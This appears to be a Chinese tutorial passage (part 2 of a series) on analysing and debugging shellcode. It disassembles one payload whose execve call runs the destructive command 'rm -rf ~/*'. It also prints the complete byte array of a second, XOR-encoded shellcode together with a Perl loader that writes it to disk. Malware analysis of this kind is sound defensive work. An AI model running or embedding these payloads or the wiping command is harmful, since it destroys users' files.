Shellcode的分析调试技巧(2)

开始几条指令可以改写为:

 E825000000 call 0x2a   2F62696E2F736800 db "/bin/sh"   736800 db "sh"   2D6300 db "-c"   726d202D7266207E2F2A20323E2F6465762F6E756C6C00 db "rm -rf ~/* 2>/dev/null"   5D pop ebp   

第一条指令为“call 0x2a”,接下来分析一下该指令调用的函数,即只保留0x2a(42)开始的指令的操作码。

 root@linux:~/pentest# ./decode.py | cut -c 43- | ndisasm -u -   00000000  5D                pop ebp   00000001  31C0              xor eax,eax   00000003  50                push eax   00000004  8D5D0E            lea ebx,[ebp+0xe]   00000007  53                push ebx   00000008  8D5D0B            lea ebx,[ebp+0xb]   0000000B  53                push ebx   0000000C  8D5D08            lea ebx,[ebp+0x8]   0000000F  53                push ebx   00000010  89EB              mov ebx,ebp   00000012  89E1              mov ecx,esp   00000014  31D2              xor edx,edx   00000016  B00B              mov al,0xb   00000018  CD80              int 0x80   0000001A  89C3              mov ebx,eax   0000001C 31C0              xor eax,eax   0000001E  40                inc eax   0000001F  CD80              int 0x80   00000021  0A                db 0x0a   root@linux:~/pentest#    

可以看到这是一个execve系统调用,它使用数组“sh”“-c”“rm –rf ~/* 2>/dev/null”作为第二个参数。

这样,该shellcode的功能已经一目了然了。

第三个shellcode代码如下:

 char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x65\x80\x74\x0e\xff".              "\x0a\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff".              "\xff\xff\x3b\xca\x3b\xd1\x3b\xd8\x5a\x60\x0b".              "\x60\x08\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x83".              "\xcc\x58\x62\xb1\x08\x10\x70\x83\xeb\x60\x1a".              "\x5b\x5c\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x58".              "\x5c\x83\xeb\xb9\x0e\xba\x6c\xc7\x8a\x58\x58".              "\x5c\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x83\xc9".              "\x3b\xc3\xba\x35\xc7\x8a\x4b\xba\x35\xc7\x8a".              "\x4b\xba\x35\xc7\x8a\x58\x62\x25\x25\x79\x62".              "\x62\x25\x68\x63\x64\x83\xe9\x58\x59\x83\xeb".              "\xba\x01\xc7\x8a";    

首先,使用perl输出这个shellcode,然后用ndisasm分析这个shellcode。

root@linux:~/pentest# cat shellcode.pl    #!/usr/bin/perl       $shellcode = "\xeb\x11\x5e\x31\xc9\xb1\x65\x80\x74\x0e\xff".              "\x0a\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff".              "\xff\xff\x3b\xca\x3b\xd1\x3b\xd8\x5a\x60\x0b".              "\x60\x08\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x83".              "\xcc\x58\x62\xb1\x08\x10\x70\x83\xeb\x60\x1a".              "\x5b\x5c\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x58".              "\x5c\x83\xeb\xb9\x0e\xba\x6c\xc7\x8a\x58\x58".              "\x5c\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x83\xc9".              "\x3b\xc3\xba\x35\xc7\x8a\x4b\xba\x35\xc7\x8a".              "\x4b\xba\x35\xc7\x8a\x58\x62\x25\x25\x79\x62".              "\x62\x25\x68\x63\x64\x83\xe9\x58\x59\x83\xeb".              "\xba\x01\xc7\x8a";      open FILE,"> shellcode.bin";   print FILE $shellcode;      close FILE;   root@linux:~/pentest# ./shellcode.pl   root@linux:~/pentest# ndisasm -b32 shellcode.bin   00000000  EB11              jmp short 0x13   00000002  5E                pop esi   00000003  31C9              xor ecx,ecx   00000005  B165              mov cl,0x65   00000007  80740EFF0A        xor byte [esi+ecx-0x1],0xa   0000000C  80E901            sub cl,0x1   0000000F  75F6              jnz 0x7   00000011  EB05              jmp short 0x18   00000013  E8EAFFFFFF        call dword 0x2   00000018  3BCA              cmp ecx,edx   0000001A  3BD1              cmp edx,ecx   0000001C  3BD8              cmp ebx,eax   0000001E  5A                pop edx   0000001F  60                pushad   00000020  0B6008            or esp,[eax+0x8]   00000023  83EBF4            sub ebx,byte -0xc   00000026  C9                leave   00000027  BA6CC78A83        mov edx,0x838ac76c   0000002C  CC                int3   0000002D  58                pop eax   0000002E  62B108107083      bound esi,[ecx-0x7c8feff8]   00000034  EB60              jmp short 0x96   00000036  1A5B5C            sbb bl,[ebx+0x5c]   00000039  83EBF4            sub ebx,byte -0xc   0000003C  C9                leave   0000003D  BA6CC78A58        mov edx,0x588ac76c   00000042  5C                pop esp   00000043  83EBB9            sub ebx,byte -0x47   00000046  0E                push cs   00000047  BA6CC78A58        mov edx,0x588ac76c   0000004C  58                pop eax   0000004D  5C                pop esp   0000004E  83EBF4            sub ebx,byte -0xc   00000051  C9                leave   00000052  BA6CC78A83        mov edx,0x838ac76c   00000057  C9                leave   00000058  3BC3              cmp eax,ebx   0000005A  BA35C78A4B        mov edx,0x4b8ac735   0000005F  BA35C78A4B        mov edx,0x4b8ac735   00000064  BA35C78A58        mov edx,0x588ac735   00000069  622525796262      bound esp,[dword 0x62627925]   0000006F  2568636483        and eax,0x83646368   00000074  E9585983EB        jmp dword 0xeb8359d1   00000079  BA                db 0xba   0000007A  01C7              add edi,eax   0000007C  8A                db 0x8a   root@linux:~/pentest#     

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wwypys.html